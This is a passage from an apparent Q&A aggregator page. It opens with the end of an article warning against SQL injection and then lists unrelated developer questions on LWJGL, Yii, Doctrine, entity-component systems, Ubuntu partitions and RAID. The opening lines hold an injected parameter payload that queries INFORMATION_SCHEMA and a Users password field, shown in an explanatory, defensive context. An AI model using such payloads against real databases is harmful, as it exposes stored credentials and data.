INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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  • LWJGL SlickUtil Texture Binding

    - by Matthew Dockerty
    I am making a 3D game using LWJGL and I have a texture class with static variables so that I only need to load textures once, even if I need to use them more than once. I am using Slick Util for this. When I bind a texture it works fine, but then when I try to render something else after I have rendered the model with the texture, the texture is still being bound. How do I unbind the texture and set the rendermode to the one that was in use before any textures were bound? Some of my code is below. The problem I am having is the player texture is being used in the box drawn around the player after it the model has been rendered. Model.java public class Model { public List<Vector3f> vertices = new ArrayList<Vector3f>(); public List<Vector3f> normals = new ArrayList<Vector3f>(); public ArrayList<Vector2f> textureCoords = new ArrayList<Vector2f>(); public List<Face> faces = new ArrayList<Face>(); public static Model TREE; public static Model PLAYER; public static void loadModels() { try { TREE = OBJLoader.loadModel(new File("assets/model/tree_pine_0.obj")); PLAYER = OBJLoader.loadModel(new File("assets/model/player.obj")); } catch (Exception e) { e.printStackTrace(); } } public void render(Vector3f position, Vector3f scale, Vector3f rotation, Texture texture, float shinyness) { glPushMatrix(); { texture.bind(); glColor3f(1, 1, 1); glTranslatef(position.x, position.y, position.z); glScalef(scale.x, scale.y, scale.z); glRotatef(rotation.x, 1, 0, 0); glRotatef(rotation.y, 0, 1, 0); glRotatef(rotation.z, 0, 0, 1); glMaterialf(GL_FRONT, GL_SHININESS, shinyness); glBegin(GL_TRIANGLES); { for (Face face : faces) { Vector2f t1 = textureCoords.get((int) face.textureCoords.x - 1); glTexCoord2f(t1.x, t1.y); Vector3f n1 = normals.get((int) face.normal.x - 1); glNormal3f(n1.x, n1.y, n1.z); Vector3f v1 = vertices.get((int) face.vertex.x - 1); glVertex3f(v1.x, v1.y, v1.z); Vector2f t2 = textureCoords.get((int) face.textureCoords.y - 1); glTexCoord2f(t2.x, t2.y); Vector3f n2 = normals.get((int) face.normal.y - 1); glNormal3f(n2.x, n2.y, n2.z); Vector3f v2 = vertices.get((int) face.vertex.y - 1); glVertex3f(v2.x, v2.y, v2.z); Vector2f t3 = textureCoords.get((int) face.textureCoords.z - 1); glTexCoord2f(t3.x, t3.y); Vector3f n3 = normals.get((int) face.normal.z - 1); glNormal3f(n3.x, n3.y, n3.z); Vector3f v3 = vertices.get((int) face.vertex.z - 1); glVertex3f(v3.x, v3.y, v3.z); } texture.release(); } glEnd(); } glPopMatrix(); } } Textures.java public class Textures { public static Texture FLOOR; public static Texture PLAYER; public static Texture SKYBOX_TOP; public static Texture SKYBOX_BOTTOM; public static Texture SKYBOX_FRONT; public static Texture SKYBOX_BACK; public static Texture SKYBOX_LEFT; public static Texture SKYBOX_RIGHT; public static void loadTextures() { try { FLOOR = TextureLoader.getTexture("PNG", new FileInputStream(new File("assets/model/floor.png"))); FLOOR.setTextureFilter(GL11.GL_NEAREST); PLAYER = TextureLoader.getTexture("PNG", new FileInputStream(new File("assets/model/tree_pine_0.png"))); PLAYER.setTextureFilter(GL11.GL_NEAREST); SKYBOX_TOP = TextureLoader.getTexture("PNG", new FileInputStream(new File("assets/textures/skybox_top.png"))); SKYBOX_TOP.setTextureFilter(GL11.GL_NEAREST); SKYBOX_BOTTOM = TextureLoader.getTexture("PNG", new FileInputStream(new File("assets/textures/skybox_bottom.png"))); SKYBOX_BOTTOM.setTextureFilter(GL11.GL_NEAREST); SKYBOX_FRONT = TextureLoader.getTexture("PNG", new FileInputStream(new File("assets/textures/skybox_front.png"))); SKYBOX_FRONT.setTextureFilter(GL11.GL_NEAREST); SKYBOX_BACK = TextureLoader.getTexture("PNG", new FileInputStream(new File("assets/textures/skybox_back.png"))); SKYBOX_BACK.setTextureFilter(GL11.GL_NEAREST); SKYBOX_LEFT = TextureLoader.getTexture("PNG", new FileInputStream(new File("assets/textures/skybox_left.png"))); SKYBOX_LEFT.setTextureFilter(GL11.GL_NEAREST); SKYBOX_RIGHT = TextureLoader.getTexture("PNG", new FileInputStream(new File("assets/textures/skybox_right.png"))); SKYBOX_RIGHT.setTextureFilter(GL11.GL_NEAREST); } catch (Exception e) { e.printStackTrace(); } } } Player.java public class Player { private Vector3f position; private float yaw; private float moveSpeed; public Player(float x, float y, float z, float yaw, float moveSpeed) { this.position = new Vector3f(x, y, z); this.yaw = yaw; this.moveSpeed = moveSpeed; } public void update() { if (Keyboard.isKeyDown(Keyboard.KEY_W)) walkForward(moveSpeed); if (Keyboard.isKeyDown(Keyboard.KEY_S)) walkBackwards(moveSpeed); if (Keyboard.isKeyDown(Keyboard.KEY_A)) strafeLeft(moveSpeed); if (Keyboard.isKeyDown(Keyboard.KEY_D)) strafeRight(moveSpeed); if (Mouse.isButtonDown(0)) yaw += Mouse.getDX(); LowPolyRPG.getInstance().getCamera().setPosition(-position.x, -position.y, -position.z); LowPolyRPG.getInstance().getCamera().setYaw(yaw); } public void walkForward(float distance) { position.setX(position.getX() + distance * (float) Math.sin(Math.toRadians(yaw))); position.setZ(position.getZ() - distance * (float) Math.cos(Math.toRadians(yaw))); } public void walkBackwards(float distance) { position.setX(position.getX() - distance * (float) Math.sin(Math.toRadians(yaw))); position.setZ(position.getZ() + distance * (float) Math.cos(Math.toRadians(yaw))); } public void strafeLeft(float distance) { position.setX(position.getX() + distance * (float) Math.sin(Math.toRadians(yaw - 90))); position.setZ(position.getZ() - distance * (float) Math.cos(Math.toRadians(yaw - 90))); } public void strafeRight(float distance) { position.setX(position.getX() + distance * (float) Math.sin(Math.toRadians(yaw + 90))); position.setZ(position.getZ() - distance * (float) Math.cos(Math.toRadians(yaw + 90))); } public void render() { Model.PLAYER.render(new Vector3f(position.x, position.y + 12, position.z), new Vector3f(3, 3, 3), new Vector3f(0, -yaw + 90, 0), Textures.PLAYER, 128); GL11.glPushMatrix(); GL11.glTranslatef(position.getX(), position.getY(), position.getZ()); GL11.glRotatef(-yaw, 0, 1, 0); GL11.glScalef(5.8f, 21, 2.2f); GL11.glDisable(GL11.GL_LIGHTING); GL11.glLineWidth(3); GL11.glBegin(GL11.GL_LINE_STRIP); GL11.glColor3f(1, 1, 1); glVertex3f(1f, 0f, -1f); glVertex3f(-1f, 0f, -1f); glVertex3f(-1f, 1f, -1f); glVertex3f(1f, 1f, -1f); glVertex3f(-1f, 0f, 1f); glVertex3f(1f, 0f, 1f); glVertex3f(1f, 1f, 1f); glVertex3f(-1f, 1f, 1f); glVertex3f(1f, 1f, -1f); glVertex3f(-1f, 1f, -1f); glVertex3f(-1f, 1f, 1f); glVertex3f(1f, 1f, 1f); glVertex3f(1f, 0f, 1f); glVertex3f(-1f, 0f, 1f); glVertex3f(-1f, 0f, -1f); glVertex3f(1f, 0f, -1f); glVertex3f(1f, 0f, 1f); glVertex3f(1f, 0f, -1f); glVertex3f(1f, 1f, -1f); glVertex3f(1f, 1f, 1f); glVertex3f(-1f, 0f, -1f); glVertex3f(-1f, 0f, 1f); glVertex3f(-1f, 1f, 1f); glVertex3f(-1f, 1f, -1f); GL11.glEnd(); GL11.glEnable(GL11.GL_LIGHTING); GL11.glPopMatrix(); } public Vector3f getPosition() { return new Vector3f(-position.x, -position.y, -position.z); } public float getX() { return position.getX(); } public float getY() { return position.getY(); } public float getZ() { return position.getZ(); } public void setPosition(Vector3f position) { this.position = position; } public void setPosition(float x, float y, float z) { this.position.setX(x); this.position.setY(y); this.position.setZ(z); } } Thanks for the help.

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  • See Oracle GoldenGate 11g R2 Unveiled at Oracle OpenWorld

    - by Oracle OpenWorld Blog Team
    Oracle OpenWorld 2012 promises to be bigger than ever when it comes to Data Integration. The Data Integration track is full of product release updates, deep dives into key features, and customer presentations. Oracle GoldenGate 11g ’s latest release features will be presented in multiple sessions. In addition, customers, such as Raymond James, Comcast, Paychex, Ticketmaster, Bank of America, St. Jude Medical, Turk Telekom, Ross, and Aderas will present their projects with data integration products. Last but not least, hands-on-labs will cover deep dives into Oracle GoldenGate and introductions to key products such as Oracle Data Integrator and Oracle Enterprise Data Quality.Catch these must-see Data Integration sessions taking place at Moscone West 3005:·    Future Strategy, Direction, and Roadmap of Oracle’s Data Integration Platform: Monday, October 1 at 10:45 a.m.·    Real-Time Data Integration with Oracle Data Integrator at Raymond James: Monday, October 1 at 4:45 p.m.·    Real-World Operational Reporting with Oracle GoldenGate - Customer Panel: Tuesday, October 2 at 11:45 a.m.To stay in touch about the details and announcements for Oracle Data Integration, check out the Data Integration blog.

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  • alot questings since i wanted to make a new SSB game or mario game(that use 3d models) [closed]

    - by user20465
    i have just started to study programming and i know already ppl will say why make a so big project like as a SSB game for a noob game development? cuz i always wanted a SSB engine like as Mugen is a fighter game engine but is not like as SSB´s gameplay + is not using 3d models too so i will call it SSBmugen(until i find a better title for it i got afew ideas for titles) also i wanted to make this game so it can use SSBbrawl files(models+animations mainly) the moveset+Stage coding files i wanted to redo cuz so anything can be possible like make a teleporter or a pipe teleporter(like as Super mario bros game) on a stag e or make some stuff there is impossible in SSBbrawl for moveset coding but is not in SSBmugen like make so a char. summon a Clone and the clone will do a attack and then is gone or some attacks/moves also i will make a moveset/stage Coding editor so it will be really easy to make moveset/stages coding for yours 3d models/animations moveset+stage Coding i mean: hitboxes/hurtboxes/moving Stuff/moving bones like cape or hair bones that is moving by wind effects or falling or other stuff like that/other stuff that needed to be coded i have planed to make a editor(for moveset/char. coding) or add the editor in brawlbox for my game so other ppl can easy make moveset/stages Coding to they´s models/animations so it will be easy so even kids can make a custom movesets/stages why using SSBbrawl files?: cuz ppl have made alot of models or textures/custom movesets/custom stages like goku/other anime/not brawl stuff for super smash bros brawl hacking(a.k.a modding) so ppl dont have to redo anything if they wanted to have the custom models or textures/custom movesets/custom stages from SSBbrawl to SSBmugen +there is the program named brawlbox that can open brawl files like model/animations and can edit models or animations and import models from 3ds max to be the right model format for SSBbrawl and i also wanted it so easy to add(a.k.a installer) Recolours or alt. models(like as oneslot doctor mario model over mario´s boneset) or textures/Movesets/new char. slots/new stages so easy so you only needing to download themplace them in right foldername them the right nameStart the gameRecolours or alt. models or textures/Movesets/new char. slots/new stages works an loading right so you wont needing to edit any files for add something so kids/not so smart ppl can easy use the mods other ppl is making/uploading for this game here is the file format i wanted to know if they can be readed/opened if making a game that use these files: .mld0(brawl model file) .chr0(model animation for moving/scale/rota the bones) .srt0(animations for texture like moving eyes or blinking) .vis0(Animations for get polygons to hide/show with visibilitybones on the model there is also some polygons there ) .brres(a file format where stuff like model files or textures or animations is inside) .pac(a file format where the .brres is inside to keep model+textures+model for the shadow in 1 file) .wav (for SoundFX effects or voices to char. or stages) i am sure that one is possible the .wav files is inside a other file format for brawl but that file can´t you add more .wav files inside only replace so i wanted the .wav files outside so its easy to add/replace/remove SoundFX effects or voices to char. or stages .brstm(brawl music file so the music is looped perfect so it loop in middel of the music and not start over again then the music is done) afew more file formats (mainly for the Graphics effects like fire/aura/hit effects if not needing to redo them)so only coding in the editor i will make is needed to be done for port a SSBB hack(a.k.a mod)(moveset/stage coding) to this game wanted the game to be able to load these files and load them right like if loading wait1.chr0(idle animation) it will also load at same time wait1.srt0/wait1.vis0 and all kinda of animations is inside the same .brres file i am needing since it to be able to load the file format i wanted cuz: -the animations can´t be converted to any other animation file format and i dont think ppl want to redo these animations(inc. me for Goku to SSBbrawl) -models can be converted but then they lose all the shader/materials stuff like a shine effect or lighting on the model -.brstm can be converted to .wav but then there will be no loop so i prefer it can load this file format too for the music to stage/menu -brawlbox is really easy to use for make animation for the char. and import models from 3ds max so even around "not too stupid" 10 year kids can make SSBB mods(not try to be rude but to say how easy it is) also i wanted the folder setup for characters/stages/moveset/other stuff to be like this: https://www.dropbox.com/s/2oolm5z5ri234tz/SSBmugen%20Folder%20setup.txt just uploaded a txt file since it is a wall of text and this post is already a wall of test so it easy to place stuff (if not i do a program for to that so it auto place the stuff on right place) not 100% sure what to use of game engine to make this possible but i got a dll file from that brawlbox program that can open/read/edit these file formats if that helps i also got open source of brawlbox i have kinda learned programming(since its kinda the same thing but still not 100% same) from Super smash bros modding/hacking like coding a moveset for the new animations/models + have readed alittle about it but i am soon starting for real to study it for ppl who is alittle confuse for what i am asking for here is the list: -what game engine should i use to make a SSB clone? but at same time to make all this stuff i just said possible so ppl can make they own mods and share them and use the already made mods from SSBbrawl? and easy to use aswell so noob programmors can use it? -where to learning programming on internet to be even more ready to make a game like this? and dont wanted to start in the small like making small boring 2d games that no one care about anyway ps. i am also planing a other project like as SSBmugen but it will be Super mario bros open (again tittle unsure but open means open source) i will make a Mario game engine that also use 3d models and can have 2d or 3d gameplay with any mario powerups/gameplay(from any mario platform games) there is ever made multiplayer like as in New super mario bros wii maybe multiplay over lan or online but for now over 1 PC also alittle planed for that to my SSBmugen a Level/world map editor for it too(easy to use so even kids can use it and make levels for it) so it just place the objects/enemies and options for them enemies since they are not 100% same AI in all mario game like to choose a goomba have AI from SM64 the Editor will be able to change the gameplay on a level while have a other gameplay on a other level like this: 1 level have Super mario bros 3 gameplay (then it will be a 3d model remake) a other level have super mario galaxy gameplay but in a Super mario 3d land level yet a other level have super mario 64 gameplay but with powerups from a other mario game like powerups from mario 3d land or can ride on Yoshi so you can easy remake your fav. level from a old mario game in this mario engine/editor or just make a custom one with yours fav. mario gameplay/powerups so it will be like turn off/on: walljump/triple jump/other kinda or jumps/2x punch and 1 kick+Air kick/SMG spin attack/Fludd/other stuff like that so you can make the gameplay from the first mario game to the newest or make custom gameplay on a level also the star(from 64/sunshine/galaxy) will be replaced with the flag from new super mario bros/mario 3d land since the game is not so much about getting stars its more about making/download the levels you wanted and share them to other ppl and play these level so after have killed like the boss from SM64 bomb omb field(if one have made that) you will get the flag instead of star since i wanted it to be simple to make levels in the editor to make the bosses/new enemies/new powerups/custom char. idk what to do to make that simple yet also thinking the mario game will use brawl files since it almost already got all needed animations/models for this since i dont wanted to redo animations/models and if needing more animations i can just make them easy in brawlbox since thats the program i am most used to make animations but that will be after my SSBmugen project if not this game will be easyer then SSBmugen to make since i am planing then 1 of them is done i use the that game as base to make the other (since both is kinda platfrom games and possible using same file format for both) also wanted to ask what is best to start with out of these 2 games? also will maybe make a DLC site(or ingame) for both of these games if they get done so it wont end up like as Mugen where you needing to look all over the internet to find the stuff you wanted but for my game all the mods for my game is on same place not sure about online mode for SSBmugen or super mario bros open but i can always add that then i get better at programming both games also need to have options on controls/if using joystick also that i have planed these game for a long time and got even more ideas for them but first i wanted to get them to work so i can add the other stuff later(like DLC or online mode or some other stuff later) right now i know 0,0001% to programming(in my option) maybe i know more then that since i have been study it alittle but i learning while making stuff like this that was also my plan for make these game learn while making them and get better to programming so again i say it i kinda dont want to hear dont do these projects cuz i already know it will be hard so dont wanted so much to heard stuff like: you can´t do it since you just started learning programming or this project will fail since somewhere i needing to get started with programming and this is where i want to start to make my dream games(possible other´s dream games too) and i dont think this project will fail if i work hard on it (as i possible will) and ppl will maybe help i think this was all my questing/ideas for now (sorry for it sounds more like ideas then questings) but i needing to say my ideas so you ppl can see what i needing to use for make this possible

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  • Is it customary to write Java domain objects / data transfer objects with public member variables on mobile platforms?

    - by Sean Mickey
    We performed a code review recently of mobile application Java code that was developed by an outside contractor and noticed that all of the domain objects / data transfer objects are written in this style: public class Category { public String name; public int id; public String description; public int parentId; } public class EmergencyContact { public long id; public RelationshipType relationshipType; public String medicalProviderType; public Contact contact; public String otherPhone; public String notes; public PersonName personName; } Of course, these members are then accessed directly everywhere else in the code. When we asked about this, the developers told us that this is a customary performance enhancement design pattern that is used on mobile platforms, because mobile devices are resource-limited environments. It doesn't seem to make sense; accessing private members via public getters/setters doesn't seem like it could add much overhead. And the added benefits of encapsulation seem to outweigh the benefits of this coding style. Is this generally true? Is this something that is normally done on mobile platforms for the reasons given above? All feedback welcome and appreciated -

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  • Dropdown dependent values to be fetch from multiple models using ajax in Yii

    - by newuser
    I searched all the documentation over Yii but not got the answer of it.So I came here finally. I have the following schema Table Schools +------------------+--------------+------+-----+---------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------------+--------------+------+-----+---------------------+----------------+ | id | int(10) | NO | PRI | NULL | auto_increment | | school_name | varchar(100) | NO | | | | +------------------+--------------+------+-----+---------------------+----------------+ Table Students +------------------+--------------+------+-----+---------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +------------------+--------------+------+-----+---------------------+----------------+ | id | int(10) | NO | PRI | NULL | auto_increment | | school_id | int(10) | NO | FK | | | | student_name | varchar(100) | NO | | | | | roll_no | varchar(80) | NO | | | | | class | varchar(20) | NO | | | | | | subjects | varchar(100) | NO | | | | +------------------+--------------+------+-----+---------------------+----------------+ I have made models and CRUD for the both models.In models my relation is like this In Students.php the relation is like public function relations() { // NOTE: you may need to adjust the relation name and the related // class name for the relations automatically generated below. return array( 'School' => array(self::BELONGS_TO,'Schools','school_id'), ); } In Schools.php the relation is like public function relations() { // NOTE: you may need to adjust the relation name and the related // class name for the relations automatically generated below. return array( 'student' => array(self::HAS_MANY, 'Students', 'school_id'), ); } Now I made the two models rendered in a single page so that I can enter all the respective fields in a single form. In the _form.php file of Students I have made some change in student_name like this <div class="row"> <?php echo $form->labelEx($model,'student_name'); ?> <?php echo $form->dropdownList($model,'student_name', CHtml::listData(Students::model()->findAll(), 'id', 'student_name'), array('empty'=>array('Select'=>'--Select One---'))); ?> <?php echo $form->error($model,'student_name'); ?> Now for this piece of code I got all the student name from the Student model. So my problem is when I am getting the student name from the dropdown list and going to select a student it will also fetch all the respective values of the student to be rendered in the _form.php without click on save button.So that user don't have to put it again manually. I think ajax and json encode will work here but don't know how to make them work here. [Update] Here is StudentsController code public function actionDisCoor() { $model = School::model()->findByPk($_POST['Students']['student_id']); $data=CHtml::listData($data,'id','name'); foreach($data as $value=>$name) { echo CHtml::tag('option',array('value'=>$value),CHtml::encode($name),true); } } Here is _form.php code for Students <div class="row"> <?php echo $form->labelEx($model,'student_name'); ?> <?php $List = CHtml::listData(Students::model()->findAll(), 'id', 'student_name'); ?> <?php echo $form->dropdownList($model,'student_name',$List, array('onChange'=>CHtml::ajax(array( 'url' => CController::createUrl('DisCoor'), 'type' => 'POST', 'update'=>'#school_id', )),'style'=>'width:180px;' ) )?> <?php echo $form->error($model,'student_name'); ?> </div> After all that when I saw in firebug I got the error.Here is the screen shot

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  • Symfony 1.4/ Doctrine; n-m relation data cannot be accessed in template (indexSuccess)

    - by chandimak
    I have a database with 3 tables. It's a simple n-m relationship. Student, Course and StudentHasCourse to handle n-m relationship. I post the schema.yml for reference, but it would not be really necessary. Course: connection: doctrine tableName: course columns: id: type: integer(4) fixed: false unsigned: false primary: true autoincrement: false name: type: string(45) fixed: false unsigned: false primary: false notnull: false autoincrement: false relations: StudentHasCourse: local: id foreign: course_id type: many Student: connection: doctrine tableName: student columns: id: type: integer(4) fixed: false unsigned: false primary: true autoincrement: false registration_details: type: string(45) fixed: false unsigned: false primary: false notnull: false autoincrement: false name: type: string(30) fixed: false unsigned: false primary: false notnull: false autoincrement: false relations: StudentHasCourse: local: id foreign: student_id type: many StudentHasCourse: connection: doctrine tableName: student_has_course columns: student_id: type: integer(4) fixed: false unsigned: false primary: true autoincrement: false course_id: type: integer(4) fixed: false unsigned: false primary: true autoincrement: false result: type: string(1) fixed: true unsigned: false primary: false notnull: false autoincrement: false relations: Course: local: course_id foreign: id type: one Student: local: student_id foreign: id type: one Then, I get data from tables in executeIndex() from the following query. $q_info = Doctrine_Query::create() ->select('s.*, shc.*, c.*') ->from('Student s') ->leftJoin('s.StudentHasCourse shc') ->leftJoin('shc.Course c') ->where('c.id = 1'); $this->infos = $q_info->execute(); Then I access data by looping through in indexSuccess.php. But, in indexSuccess I can only access data from the table Student. <?php foreach ($infos as $info): ?> <?php echo $info->getId(); ?> <?php echo $info->getName(); ?> <?php endforeach; ?> I expected, that I could access StudentHasCourse data and Course data like the following. But, it generates an error. <?php echo $info->getStudentHasCourse()->getResult()?> <?php echo $info->getStudentHasCourse()->getCourse()->getName()?> The first statement gives a warning; Warning: call_user_func_array() expects parameter 1 to be a valid callback, class 'Doctrine_Collection' does not have a method 'getCourse' in D:\wamp\bin\php\php5.3.5\PEAR\pear\symfony\escaper\sfOutputEscaperObjectDecorator.class.php on line 64 And the second statement gives the above warning and the following error; Fatal error: Call to a member function getName() on a non-object in D:\wamp\www\sam\test_doc_1\apps\frontend\modules\registration\templates\indexSuccess.php on line 5 When I check the query from the Debug toolbar it appears as following and it gives all data I want. SELECT s.id AS s__id, s.registration_details AS s__registration_details, s.name AS s__name, s2.student_id AS s2__student_id, s2.course_id AS s2__course_id, s2.result AS s2__result, c.id AS c__id, c.name AS c__name FROM student s LEFT JOIN student_has_course s2 ON s.id = s2.student_id LEFT JOIN course c ON s2.course_id = c.id WHERE (c.id = 1) Though the question is short, as all the information mentioned it became so long. It's highly appreciated if someone can help me out to solve this. What I require is to access the data from StudentHasCourse and Course. If those data cannot be accessed by this design and this query, any other methodology is also appreciated.

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  • In an Entity/Component system, can component data be implemented as a simple array of key-value pairs? [on hold]

    - by 010110110101
    I'm trying to wrap my head around how to organize components in an Entity Component Systems once everything in the current scene/level is loaded in memory. (I'm a hobbyist BTW) Some people seem to implement the Entity as an object that contains a list of of "Component" objects. Components contain data organized as an array of key-value pairs. Where the value is serialized "somehow". (pseudocode is loosely in C# for brevity) class Entity { Guid _id; List<Component> _components; } class Component { List<ComponentAttributeValue> _attributes; } class ComponentAttributeValue { string AttributeName; object AttributeValue; } Others describe Components as an in-memory "table". An entity acquires the component by having its key placed in a table. The attributes of the component-entity instance are like the columns in a table class Renderable_Component { List<RenderableComponentAttributeValue> _entities; } class RenderableComponentAttributeValue { Guid entityId; matrix4 transformation; // other stuff for rendering // everything is strongly typed } Others describe this actually as a table. (and such tables sound like an EAV database schema BTW) (and the value is serialized "somehow") Render_Component_Table ---------------- Entity Id Attribute Name Attribute Value and when brought into running code: class Entity { Guid _id; Dictionary<string, object> _attributes; } My specific question is: Given various components, (Renderable, Positionable, Explodeable, Hideable, etc) and given that each component has an attribute with a particular name, (TRANSLATION_MATRIX, PARTICLE_EMISSION_VELOCITY, CAN_HIDE, FAVORITE_COLOR, etc) should: an entity contain a list of components where each component, in turn, has their own array of named attributes with values serialized somehow or should components exist as in-memory tables of entity references and associated with each "row" there are "columns" representing the attribute with values that are specific to each entity instance and are strongly typed or all attributes be stored in an entity as a singular array of named attributes with values serialized somehow (could have name collisions) or something else???

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  • What partition to use to keep data files in Ubuntu?

    - by Martin Lee
    I have been using Ubuntu for a few years and usually my partition set up was the following: Ext3 or Ext4 partition for the system itself (20 GB); A 10 GB swap partition; a big FAT32 partition to store movies, photos, work stuff, etc. (depends on the capacity of the disk, but usually it is what is left from Ext3+Swap, currently it is more than 200 GB). Does this setup sound right? I am considering to switching to one big Ext3 partition now, because the problem with Fat32 in Ubuntu has not gone anywhere: for example, right now I can access my 'big' partition with a 'Data' label only through /media/_themes?END. Pretty strange name for a partition, isn't it? some Linux software fail to read/write on this partition. For example, if I want to play around with rebar and build/make/compile things on this FAT32 partition, it will always complain about permissions and won't work (the same goes for many other kinds of software); it is not stable, I can not refer to some files on this FAT32 partition, because after the next reboot it will be called not '_themes?END', but something else. On the other side I usually begin to run out of space on the Ext3 partition after a few months of usage. So, the question is - what is the best setup of partitions for an Ubuntu system? Should a FAT32 partition be used at all?

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  • What scenarios are implementations of Object Management Group (OMG) Data Distribution Service best suited for?

    - by mindcrime
    I've always been a big fan of asynchronous messaging and pub/sub implementations, but coming from a Java background, I'm most familiar with using JMS based messaging systems, such as JBoss MQ, HornetQ, ActiveMQ, OpenMQ, etc. I've also loosely followed the discussion of AMQP. But I recently became aware of the Data Distribution Service Specification from the Object Management Group, and found there are a couple of open-source implementations: OpenSplice OpenDDS It sounds like this stuff is focused on the kind of high-volume scenarios one tends to associate with financial trading exchanges and what-not. My current interest is more along the lines of notifications related to activity stream processing (think Twitter / Facebook) and am wondering if the DDS servers are worth looking into further. Could anyone who has practical experience with this technology, and/or a deep understanding of it, comment on how useful it is, and what scenarios it is best suited for? How does it stack up against more "traditional" JMS servers, and/or AMQP (or even STOMP or OpenWire, etc?) Edit: FWIW, I found some information at this StackOverflow thread. Not a complete answer, but anybody else finding this question might also find that thread useful, hence the added link.

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  • How can I set up FakeRAID/SoftRAID using mdadm without losing data?

    - by Danatela
    There is RAID0 of 2 drives connected through Silicon Image 3132 SATA SoftRAID controller. Under Windows it was partitioned as one dynamic GPT-disk having 4 TB NTFS volume. There is a lot of music and movies on the drive. I'm trying to get him to be seen under Ubuntu as a single disk, not as 2 by 2 terabytes. I tried to read it through dmraid, had no success, it is not displayed in /dev/mapper. Also tried to configure the kernel, but did not find anything suspicious, the driver for my controller was on. There is also a driver from the manufacturer, but it is only available for RHEL and SLES. Here it's reported that SoftRAID is supported by the kernel, but apparently not completely. If I thrust drives in the AMD controller, built into the motherboard, the drive is seen as a single, but the data is lost. I know about mdadm that it is able to ditch all the information on the disks. So, is it possible to somehow create an array without actually recording information on used drives and to make the system correctly identify sections on it later? Information about the array: /dev/sdf - Disk 0 /dev/sdg - Disk 1 Array type: Stripe Block Size: 64KB Also, a device /dev/md1 is created using command mknod /dev/md1 b 9 1

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